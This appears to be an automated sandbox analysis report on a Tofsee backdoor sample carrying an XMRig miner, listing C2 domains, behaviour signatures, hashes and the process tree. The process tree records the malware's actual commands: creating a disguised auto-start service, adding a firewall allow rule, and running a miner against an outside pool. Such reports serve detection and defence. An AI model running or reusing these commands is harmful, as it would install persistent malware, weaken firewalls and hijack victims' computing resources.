Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2022, 04:39

General

  • Target
    file.exe
  • Size 228KB
  • Sample221222-e9yjdaha8v
  • SHA256 5e5270950c7bdadab2fc1f6370f32bf517d870ead87775f2af7649a8dc7ae322
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jyedztex\
      2⤵
        PID:1676
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mlklmwyb.exe" C:\Windows\SysWOW64\jyedztex\
        2⤵
          PID:4428
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jyedztex binPath= "C:\Windows\SysWOW64\jyedztex\mlklmwyb.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2356
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jyedztex "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jyedztex
          2⤵
          • Launches sc.exe
          PID:4980
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2480
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 1244
          2⤵
          • Program crash
          PID:756
      • C:\Windows\SysWOW64\jyedztex\mlklmwyb.exe
        C:\Windows\SysWOW64\jyedztex\mlklmwyb.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2288
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1128
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4440
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 516
          2⤵
          • Program crash
          PID:3172
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4956 -ip 4956
        1⤵
          PID:4552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2288 -ip 2288
          1⤵
            PID:4140

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                mlklmwyb.exe

                • Path C:\Users\Admin\AppData\Local\Temp\mlklmwyb.exe
                • Size 13.9MB
                • SHA256 a019e0a432cc31694e62c9e068d43abed97168ee23f2b8bef3203e57ef245778
                • MD5 SHA1 SHA512 SSDEEP

                mlklmwyb.exe

                • Path C:\Windows\SysWOW64\jyedztex\mlklmwyb.exe
                • Size 13.9MB
                • SHA256 a019e0a432cc31694e62c9e068d43abed97168ee23f2b8bef3203e57ef245778
                • MD5 SHA1 SHA512 SSDEEP

                memory/1128-159-0x0000000002160000-0x0000000002170000-memory.dmp

                memory/1128-151-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

                memory/1128-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/1128-152-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

                memory/1128-156-0x0000000002150000-0x0000000002156000-memory.dmp

                memory/1128-168-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

                memory/1128-146-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

                memory/1128-162-0x00000000021F0000-0x00000000021F5000-memory.dmp

                memory/1128-165-0x0000000007880000-0x0000000007C8B000-memory.dmp

                memory/2288-149-0x000000000051E000-0x000000000052E000-memory.dmp

                memory/2288-150-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/4440-172-0x0000000001230000-0x0000000001321000-memory.dmp

                memory/4440-177-0x0000000001230000-0x0000000001321000-memory.dmp

                memory/4956-133-0x00000000005C0000-0x00000000005D3000-memory.dmp

                memory/4956-132-0x00000000006B3000-0x00000000006C4000-memory.dmp

                memory/4956-144-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/4956-143-0x00000000006B3000-0x00000000006C4000-memory.dmp

                memory/4956-134-0x0000000000400000-0x0000000000463000-memory.dmp